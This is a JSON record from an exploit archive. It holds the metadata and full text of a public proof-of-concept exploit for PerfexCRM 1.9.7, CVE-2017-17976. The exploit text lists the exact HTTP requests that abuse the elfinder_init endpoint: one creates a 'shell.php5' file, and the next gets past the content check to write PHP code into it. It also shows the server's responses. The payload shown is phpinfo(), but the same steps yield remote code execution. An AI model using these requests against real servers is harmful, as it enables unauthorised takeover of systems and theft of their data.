{"exploit":{"id":"EDB-43590","name":"PerfexCRM 1.9.7 - 'elfinder_init' Arbitrary File Upload / Remote Code Execution (RCE)","description":"PerfexCRM 1.9.7 - 'elfinder_init' Arbitrary File Upload / Remote Code Execution (RCE)","cves":["CVE-2017-17976"],"author":"Ahmad Mahfouz","published":"2018-01-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43590","path":"exploits/php/webapps/43590.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43590.txt","vulnerabilities":[{"id":"CVE-2017-17976","state":"PUBLISHED","title":null,"titleSource":null,"description":"In Utilities.php in Perfex CRM 1.9.7, Unrestricted file upload can lead to remote code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-17976","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-17976"},"updatedAt":"2024-08-05T21:06:49.921Z","retrievedAt":"2026-11-27T07:09:34.944Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43590.png?v=2","url":"https://exploitbin.com/exploits/EDB-43590","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43590/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43590/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload\n# Exploit Author: Ahmad Mahfouz\n# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin\n# Contact: http://twitter.com/eln1x\n# Date: 12/01/2018\n# CVE: CVE-2017-17976\n# Version: v1.9.7\n# Software Link: https://www.perfexcrm.com/\n\n\n\n# bypassing the misconfigured file upload with file .php5\n\n\n\nGET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]\n\n\nJSON Response:\n\n{\"added\":[{\"isowner\":false,\"mime\":\"text\\/plain\",\"read\":1,\"write\":1,\"size\":\"0\",\"hash\":\"[XXX]\",\"name\":\"shell.php5\",\"phash\":\"[XXXX] \"}],\"changed\":[{\"isowner\":false,\"mime\":\"directory\",\"read\":1,\"write\":1,\"size\":0,\"hash\":\"[ XXX]\",\"name\":\"asa\",\"phash\":\"[ XXX] \",\"volumeid\":\"[XXX]\"}]}\n\n\n\n#bypass the file content restriction by adding TEXT line to represent mime type text\n\n\nRequest\n\n\nPOST /admin/utilities/elfinder_init HTTP/1.1\n\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nX-Requested-With: XMLHttpRequest\n\nConnection: close\n\n\n\ncmd=put&target=[folder]&encoding=UTF-8&content=demo\n\n\n\nnewline to represent text mime type\n\n<?php\n\n    phpinfo();\n\n?>\n\n\n\nHTTP/1.1 200 OK\nContent-Type: application/json\nConnection: close\nContent-Length: 167\n\n\n\n{\"changed\":[{\"isowner\":false,\"mime\":\"text\\/plain\",\"read\":1,\"write\":1,\"size\":\"44\",\"hash\":\"[XXX]\",\"name\":\"shell.php5\",\"phash\":\"[XXX]]\"}]}","sha256":"5fdbf394efa87474a09d09f29e8aa5c0d075a18e4c571b9037493ff09f78844e","bytes":1408,"fetchedAt":"2026-11-27T07:09:30.285Z","encoding":"utf-8 (display only; download retains original bytes)"}